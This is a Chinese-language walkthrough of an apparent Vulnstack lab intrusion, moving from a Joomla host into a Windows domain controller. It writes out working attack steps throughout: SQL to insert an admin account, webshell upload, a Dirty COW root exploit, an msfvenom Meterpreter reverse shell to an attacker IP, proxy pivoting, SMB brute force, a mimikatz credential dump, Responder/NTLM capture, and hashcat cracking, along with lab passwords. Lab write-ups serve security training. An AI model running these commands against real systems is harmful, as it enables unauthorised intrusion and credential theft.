文章目录
环境搭建
http://vulnstack.qiyuanxuetang.net/vuln/detail/5/
官方描述
基本信息
作者:licong
环境配置
打开虚拟机镜像为挂起状态,第一时间进行快照,部分服务未做自启,重启后无法自动运行。
挂起状态,账号已默认登陆,centos为出网机,第一次运行,需重新获取桥接模式网卡ip。
除重新获取ip,不建议进行任何虚拟机操作。
参考虚拟机网络配置,添加新的网络,该网络作为内部网络。
注:名称及网段必须符合上述图片,进行了固定ip配置。
描述
目标:域控中存在一份重要文件。
本次环境为黑盒测试,不提供虚拟机账号密码。
Web
端口挺正常的
centos 是一个joomla CMS,目录有挺多东西的
数据库修改增加后台账户密码
配置文件
public $user = 'testuser';
public $password = 'cvcvgjASD!@';
连接数据库,尝试了mysql 写文件与读文件与日志,都没有权限,因为这个账户是CMS数据库账户,所以我们添加或者修改CMS管理员的账户进后台看看
根据文档添加一个用户
https://docs.joomla.org/How_do_you_recover_or_reset_your_admin_password%3F/zh-cn
创建一个用户
INSERT INTO `am2zu_users`
(`name`, `username`, `password`, `params`, `registerDate`, `lastvisitDate`, `lastResetTime`)
VALUES ('admin', 'wp','d2064d358136996bd22421584a7cb33e:trd7TvKHx6dMeoMmBVxYmg0vuXEA4199', '', NOW(), NOW(), NOW());
添加到管理员组
INSERT INTO `am2zu_user_usergroup_map` (`user_id`,`group_id`)
VALUES (LAST_INSERT_ID(),'8');
后台getshell
登录查看版本,搜集相关已有漏洞
编辑模板,新建文件,写入冰蝎
连接成功
绕过 php disable_function
但是执行不了命令,
原因是php7禁用了一些危险函数
使用 LD_PRELOAD 绕过
https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD
或者蚁剑的插件
在或者哥斯拉的bypass
当前网卡ip与连接ip不一致,在黑盒测试下用作判断反向代理,证实 Wappalyzer 插件所显示的
收集相关信息,寻找提权payload
ubuntu 尝试了 CVE-2021-3493,CVE-2017-16995 都没有成功
按作者的wp,说tmp目录下有个mysql备份文件会泄露centos的ssh 账户密码,但是我的没有= =,但是我有这个账户,就当它存在吧
adduser wwwuser
passwd wwwuser_123Aqx
提权
登录泄露的靶机,收集信息,寻找提权点
这台centos是双网卡,192.168.1.110接外网,192.168.93.100接内网,是台centos6 使用脏牛提权
使用 github 公开的exp
gcc -pthread dirty.c -o dirty -lcrypt
./dirty my-new-password
使用 kali 自带的exp也可以提权
内网渗透
练习两种内网穿透方法
- 内网出网(上NPS代理)
- 内网不能出网(通过msf代理)
方法1 C2 cs 与 NPS代理
生成 CrossC2 客户端
./genCrossC2.Linux 监听的IP 监听的端口 null null Linux x64 test
服务端配置监听器
NPS代理
proxy 全局代理
方法2 msf 代理
提权之后通过 msfvenom payload 上msf
msfvenom -p linux/x86/meterpreter/reverse_tcp lhost=192.168.3.108 lport=45654 -f elf -o wpsec.elf
添加路由
meterpreter > run autoroute -s 192.168.93.1/24
通过 auxiliary/server/socks_proxy
配置 sockes 代理
然后通过 proxychains4
或者 proxifier
代理
设置 proxychains bash 全局终端
proxychains bash
内网信息收集
扫描之前收集到的双网卡centos上的内网ip
内网的机器还是挺多的
通过fscan扫描得到三个ip
使用 ladon与 railgun 扫描系统与相应服务
其中
192.168.93.10 - Windows Server 2012 R2 - WIN-8GA56TNV3MV
192.168.93.20 - win2008
192.168.93.30 - win7
全是win机器,尝试跑了17010,但是都没成功,可能有防火墙。
10 机器上开放了53端口,20有一个80端口,扫过目录后并没有有用信息,10,20,30,都有数据库。
拿到现目前的一些信息,能够尝试的只有smb爆破与数据库爆破。
内网渗透-smb爆破
通过爆破拿到smb弱口令
.\administrator:123qwe!ASD
查看共享目录并登录
smbclient -L 192.168.93.20 -U administrator
wmiexec smb登录
使用 wmiexec.exe
定位域控
其实端口扫描的时候就大概判断出域控了,因为10开了53端口,大概率就是域控机器
通过smb共享上传mimikatz
smbclient连接以后是以ftp客户端一样使用,所以可以使用put命令上mimikatz抓取密码
出现 NT_STATUS_OBJECT_PATH_NOT_FOUND opening remote file \root\mimikatz.exe
切换到mimikatz目录使用相对路径上传
因为是模拟的交互式的原因,直接执行mimikatz不能有回显,通过重定向执行,抓取到密码 :zxcASDqw123!!
C:\>mimikatz.exe "privilege::debug" "log" "sekurlsa::logonpasswords" "exit" > log.log
ipc连接
net use \\192.168.93.10\admin$ zxcASDqw123!! /user:test\administrator
Responder 中间人攻击
在centos上做 Responder 监听起中间人作用
python R
使用auxiliary/admin/mssql/mssql_ntlm_stealer,执行xp_dirtree,触发UNC
这里的密码跟ubuntu上的mysql数据库密码一样
testuser
cvcvgjASD!@
监听到 NetNTLMv2 Hash
如果字典足够强大,通过 john或者 hashcat 可以爆破出来
此密码为主机NTLM密码,非域密码,所以跟之前mimikatz抓到的域控密码不同。
hashcat - m 5600 Administrator::WIN2008:1122334455667788:8D1FD53DA8B6428F43557D4B1C75FB56:010100000000000000EC6CF9728ED701AB11B15DF34B7C4B0000000002000A0053004D0042003100320001000A0053004D0042003100320004000A0053004D0042003100320003000A0053004D0042003100320005000A0053004D00420031003200080030003000000000000000000000000030000011C4314A8F10C5B6E59317CE9DBBCF8859B4494BEA8E251FCE09E150BA4F27F40000000000000000 NTpassword.txt
john wpsec --wordlist=NTpassword.txt
123qwe!ASD
Responder 中继攻击(MultiRelay)
关闭http与smb服务避免与MultiRelay冲突
运行 Responder
通过中继win2008打win7
mssql触发unc getwin7shell
这个过程我并没有成功,暂不知道原因
通过smb签名的进行渗透,因为Responder环境问题,没能做成。